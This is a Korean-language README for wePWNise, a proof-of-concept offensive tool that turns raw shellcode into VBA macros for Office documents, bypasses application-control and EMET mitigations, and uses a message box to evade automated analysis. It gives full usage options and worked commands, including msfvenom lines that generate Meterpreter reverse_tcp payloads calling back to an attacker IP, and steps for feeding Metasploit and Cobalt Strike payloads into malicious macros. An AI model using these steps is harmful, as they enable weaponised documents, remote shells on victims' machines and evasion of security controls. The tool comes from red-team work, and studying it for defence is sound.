
WePWNise는 Office 문서 또는 템플릿에서 사용할 아키텍처 독립적인 VBA 코드를 생성하고, 애플리케이션 제어 및 익스플로잇 완화 소프트웨어 우회를 자동화합니다.
wePWNise는 Office 매크로나 템플릿에서 사용할 수 있는 VBA 코드를 생성하는 개념 증명 Python 스크립트입니다. 이 도구는 자동화와 통합을 염두에 두고 설계되었으며, 제한된 환경 시나리오를 대상으로 합니다. 이 도구는 소프트웨어 제한 정책(SRP)과 EMET 완화 조치를 열거하고, 페이로드를 주입할 안전한 바이너리를 동적으로 식별합니다. wePWNise는 기존의 익스플로잇 프레임워크(예: Metasploit, Cobalt Strike)와 통합되며, 원시 형식의 사용자 정의 페이로드도 허용합니다.
wePWNise를 사용하려면 먼저 지원되는 옵션을 살펴보세요:
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help show this help message and exit
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inject into 64 Bit. Set to False when delivering x86
payloads only. Default is True
--out <output_file> File to output the VBA macro to
--msgbox Present messagebox to prevent automated analysis.
Default is True.
--msg <window_message>
Custom message to present the victim if --msgbox is
set to True
wePWNise는 알 수 없는 대상에 도달했을 때 적절한 유형을 전달할 수 있도록 32비트 및 64비트 원시 페이로드가 모두 필요합니다. 그러나 x86 아키텍처만 대상으로 하는 경우, 누락된 코드를 대체하기 위해 더미 64비트 페이로드를 제공해야 합니다.
특정 자동 분석 구성을 우회하기 위해 코드 실행 시 메시지 상자가 열립니다. 메시지 상자의 텍스트는 --msg 매개변수에서 값을 정의하여 변경할 수 있습니다. 이 기능을 비활성화하려면 --msgbox 매개변수를 False로 설정하세요.
긴 SRP/EMET 정책으로 인해 성능 문제가 발생할 수 있으므로, wePWNise는 두 개의 구성 파일(binary-paths.txt 및 directory-paths.txt)을 읽습니다. 이 파일에는 모니터링될 가능성이 적은 실행 파일 및 디렉터리 목록이 포함되어 있어 먼저 확인됩니다. 파일 내용을 편집하여 사용자가 자신의 선택을 대신 정의할 수 있습니다. 파일이 비어 있으면 wePWNise는 레지스트리에 정의된 대로 SRP/EMET 정책을 직접 읽고 검색된 정보만을 기반으로 주입 선택을 수행합니다.
다음 섹션에서는 wePWNise의 몇 가지 기본 사용 예를 설명합니다.
먼저 x86 및 x64 아키텍처 모두에 대한 페이로드를 원시 형식으로 생성하고 Metasploit 리스너가 적절히 구성되었는지 확인합니다.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
그런 다음 생성된 페이로드를 wePWNise에 지정하고 출력을 msf_wepwn.txt로 리디렉션합니다.
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
Cobalt Strike에서 원시 페이로드를 생성하려면 다음 메뉴로 이동하여 Output 드롭다운에서 Raw 형식을 선택합니다. 이 과정을 반복하고 x64 체크박스를 활성화하여 64비트 페이로드를 생성합니다.
Attacks > Packages > Payload Generator
생성된 페이로드를 wePWNise에 입력하여 VBA 코드를 생성합니다.
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
특정 경우에는 x86 페이로드만 사용 가능할 수 있습니다. wePWNise는 32비트 및 64비트 페이로드 모두를 필요로 하므로, 64비트 주입을 비활성화하려면 더미 64비트 파일을 만들고 --inject64 매개변수를 False로 설정합니다.
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
마찬가지로, 64비트 페이로드만 생성하려면 더미 x86 파일을 만들어 wePWNise의 -i86 명령줄 매개변수에 제공합니다.
wePWNise는 3-clause BSD 라이선스로 배포되며 MWR InfoSecurity에서 유지 관리합니다.
이 도구는 원래 Vincent Yiu(@vysecurity)가 개발했습니다.